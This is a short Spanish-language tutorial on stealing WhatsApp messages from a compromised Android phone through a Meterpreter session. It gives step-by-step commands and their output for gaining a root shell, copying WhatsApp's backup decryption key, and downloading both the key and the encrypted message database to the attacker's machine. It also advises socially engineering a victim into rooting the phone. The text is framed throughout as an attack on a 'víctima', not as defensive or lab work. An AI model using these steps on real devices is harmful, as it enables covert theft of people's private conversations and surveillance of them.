***Hacking WhatsApp desde meterpreter***

Bueno teniendo en cuenta que ya tenemos una sección de meterpreter, chequeamos que el usuario sea root, y ahora vamos a realizar el hacking a WhatsApp. Lo primero es ver si la víctima es usuario root.

meterpreter > check\_root [+] Device is rooted

Bien ahora todo es muy fácil. Cabe la pena destacar que si el usuario no es root, deberán buscar algún método para convencer a la víctima, atreves de ingeniería social para que rote el celular y luego generar el ataque. Si lo que se pretende es obtener los mensajes de WhatsApp. Si no no importa si es root o no porque se pueden obtener mucha información.

Vemos donde estamos posicionados con el siguiente comando meterpreter > pwd

/data/user/0/com.metasploit.stage/files

En mi caso es esa ruta.

Ahora vamos a crear una Shell

meterpreter > Shell Process 1 created. Channel 1 created. Ahora ingresamos como súper usuario con su ahora podemos retroceder hasta data o simplemente tipiamos este comando

/data/data/com.whatsapp/files si retrocedimos a */data/data/* nos metemos dentro de la carpeta com.whatsapp y luego a files bien listamos para ver todo el contenido y nos vamos a encontrar con un archivo llamado, KEY

pwd

/data/data/com.whatsapp/files ls

Avatars

Gifs

Logs

Stickers backup\_token downloadable emoji invalid\_numbers key

login\_failed

me rc2

statistics

wam.wam wamrealtime.wam

Este archivo lo vamos a copiar a la sdcard para posteriormente descargarlo. Este archivo es la llave para desencriptar las copias de seguridad que nos genera automáticamente WhatsApp todos los días a las 02:00 am, bien para copiar el archivo vamos a ejecutar el siguiente comando.

cp key /sdcard luego chequeamos que se ala copiado. Vamos a la raíz con el comando CD

cd

Luego listamos y vemos la carpeta sdcard, nos metemos dentro de ella.

ls

cd sdcard

# 1/2

Listamos nuevamente y veremos el archivo KEY. Ok ahora que ya tenemos la llave KEY, vamos a salir de la Shell para descargar los archivos a nuestra pc. Salimos de la Shell con doble exit

Vamos a la raíz con el siguiente comando.

meterpreter > cd / luego vamos a la secar meterpreter > cd sdcard listamos.

meterpreter > ls y luego descargamos la key a nuestra pc

meterpreter > download key /root

[\*] Downloading: key -> /root/key

[\*] Downloaded 158.00 B of 158.00 B (100.0%): key -> /root/key

[\*] download : key -> /root/key ahora nos vamos a la carpeta de whatsapp. meterpreter > cd WhatsApp dentro de whatsapp vamos a databases meterpreter > cd Databases y en databases descargamos el archivo que contiene los mensajes

meterpreter > download msgstore.db.crypt12 /root

[\*] Downloading: msgstore.db.crypt12 -> /root/msgstore.db.crypt12

[\*] Downloaded 54.74 KiB of 54.74 KiB (100.0%): msgstore.db.crypt12 -> /root/msgstore.db.crypt12 [\*] download : msgstore.db.crypt12 -> /root/msgstore.db.cry

# 2/2